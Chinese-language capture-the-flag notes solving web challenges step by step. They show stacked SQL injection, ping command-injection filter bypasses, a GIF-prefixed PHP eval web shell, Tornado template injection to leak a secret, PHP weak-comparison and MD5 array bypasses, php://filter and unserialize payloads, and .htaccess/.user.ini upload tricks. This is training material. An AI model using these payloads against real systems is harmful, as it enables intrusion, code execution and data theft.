[强网杯 2019]随便注
- sql注入的题目,先找闭环方式
1' and sleep(5)#
成功延迟
- 找字段数
1' order by 3#
2没报错,3报错,有俩字段
- 先试试联合查询,发现一些函数被过滤了
1'union select databas()#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
-
这道题要用之前写过的堆叠注入
-
开始查数据,如果表名是数字,需要反引起来
1';show databases;
1';show tables;
1';show columns from `1919810931114514`;#
- 找到了flag字段,但是无法显示数据
- wp的意思是前面爆出的words表是用来展示数据的,只需要将114514表命名为words,把字段也命名过去再把以前的真表换掉即可
MySQL的RENAME TABLE语句可以用于重命名或移动一个或多个已存在的表。其语法如下:
sql
Copy code
RENAME TABLE [database_name.]table_name TO [database_name.]new_table_name
其中database_name为数据库名,可选参数。table_name为旧表名,new_table_name为新表名。
RENAME TABLE语句有以下几种用法:
重命名单个表名
sql
Copy code
RENAME TABLE table1 TO table2;
该语句将表table1重命名为table2。
移动单个表到另一个数据库
sql
Copy code
RENAME TABLE db1.table1 TO db2.table1;
该语句将数据库db1中的表table1移动到数据库db2中,并重命名为table1。
同时重命名多个表
sql
Copy code
RENAME TABLE table1 TO table2, table3 TO table4, ...;
该语句可以同时重命名多个表。
移动多个表到另一个数据库
sql
Copy code
RENAME TABLE db1.table1 TO db2.table1, db1.table2 TO db2.table2, ...;
该语句可以同时移动多个表到另一个数据库,并重命名它们。
注意:RENAME TABLE语句要求执行该语句的用户拥有修改表结构的权限。
可以使用 ALTER TABLE 语句来更改表中的字段名,具体操作如下:
sql
Copy code
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 字段类型;
其中,表名 是要更改字段名的表的名称,旧字段名 是需要更改的字段名,新字段名 是更改后的字段名,字段类型 是更改后的字段类型。
- 最终wp
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
[GXYCTF2019]Ping Ping Ping
- 和上一篇里面最后那道题有点像,ls看到flag.php,但是直接cat存在过滤
- 麻了,这么弄都被过滤?ip=1;/ect/bin/c??%0af???????;看看过滤了什么
- 看来通配符也被过滤了,可以考虑将ls得到的文件名做cat的参数
cat$IFS$1`ls`
- 也可以变量覆盖,注意,flag在源码里面
a=g;cat$IFS$1fla$a.php
- 另外虽然这道题被过滤了,但是有通用的将ls的非第一位结果作为cat的方法
cat$IFS$1$(ls|awk 'NR==2')
- 最后来看看过滤了什么
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
[ACTF2020新生赛]Upload
- 本题检测了<?和文件头,老脚本了
GIF89a?
<script language="php">eval($_REQUEST[1])</script>
- 做了前端的后缀验证,直接抓包改phtml就可以了
- 服务器返回了文件路径,直接连接
[ACTF2020新生赛]BackupFile
- 提示备份文件,用dirsearch扫一下全是429,设置一下时间间隔
dirsearch -u dirsearch -u http://93e2fa43-8b26-4cd2-a13a-8f8b85dea567.node4.buuoj.cn:81/ -s 5
- 拿到备份文件index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 弱类型比较,字符串和数字比较只会比较数字的开头部分,传入?key=123成功拿到flag
[RoarCTF2019]EasyClac
- 抓包发现一个calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
- 注意到php里面有一个未声明的$blackitem变量,查看源码,这段js代码传递了一个参数,猜测传递给了该变量
- 那么就可以传入? num=1这样的值,php接收参数时会自动解析为num,但是js传参后是不会匹配num变量的
- 最后过滤了空格,使用chr函数绕过,chr将ascll码转换为字符
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[护网杯2018]easy_tornado
- tornado是一个基于python的web框架;render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,也是sst的一种
- 先试试能不能访问页面提示的flag,?filename=/fllllllllllllag,页面有个msg的参数,值是error,同时页面显示error,已经有ssti的特征了,传入{{1}}
- 直接/error?msg={{cat%20/fllllllllllllag}},得到了orz,flag不在这里
- 看来wp,要用tornado的handler.settings????
在Tornado模板中,可以访问以下快速对象:
static_url:用于生成静态文件的URL,例如JavaScript、CSS和图像等。
xsrf_form_html:用于添加XSRF令牌的HTML表单元素。这是为了防止跨站请求伪造攻击。
reverse_url:用于将URL模式名称转换为对应的URL路径。
locale:一个Tornado的locale模块,用于处理多语言支持。
escape:用于HTML转义的函数。
json_encode:将Python对象转换为JSON格式。
datetime:Python的datetime模块。
handler:当前处理程序实例的引用。
current_user:当前用户对象的引用。
handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所
以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
- 下面要将文件名和cookie_secret和md5值拼接在一起,再整体求md5,然后传给filehash即可访问flag
import hashlib
s = '/fllllllllllllag'
m = hashlib.md5(s.encode())
print(m.hexdigest())
- 得到了3f3dcfc1e99fde65214e03b068d62e84
import hashlib
s = '50e5aefa-fdff-4bdf-a02f-f8a80679a6963f3dcfc1e99fde65214e03b068d62e84'
m = hashlib.md5(s.encode())
print(m.hexdigest())
- 得到efc01e259bfcd1508e145ec71712a68a
- 传入?filename=/fllllllllllllag&filehash=efc01e259bfcd1508e145ec71712a68a即可
[BJDCTF2020]Easy MD5
- 随便传个参数,抓包,select * from 'admin' where password=md5($pass,true)
- 输入' or '6的md5值ffifdyop,在新网页中查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
- 又是经典的值不相等但是md5值相等,数组绕过,进入下一关
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
- psot再传一遍就可以了
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 代码要求传一个文件名,里面包含有指定字符串,可以直接data协议传一个,再拿fliter读一下页面提示的php
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.bas
e64-encode/resource=useless.php
- 解密得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 一个简单的触发tostring,$password参数的值是一个Flag对象,则在调用echo $password;的时候会触发该对象的 __tostring() 方法
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
- 得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 最终wp:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
[MRCTF2020]你传你🐎呢
- 上传.htaccess文件,修改jpg也可以被解析
sethandler application/x-httpd-php
- 上传图片马,直接连接即可
[SUCTF2019]CheckIn
- 上传user.ini,将图片定义为受包含文件,这里要加图片头和抓包改mine
GIF89a
auto_prepend_file=1.jpg
- 上传1.php直接重新命名的1.jpg,蚁剑同目录下的index.php(图片有点问题)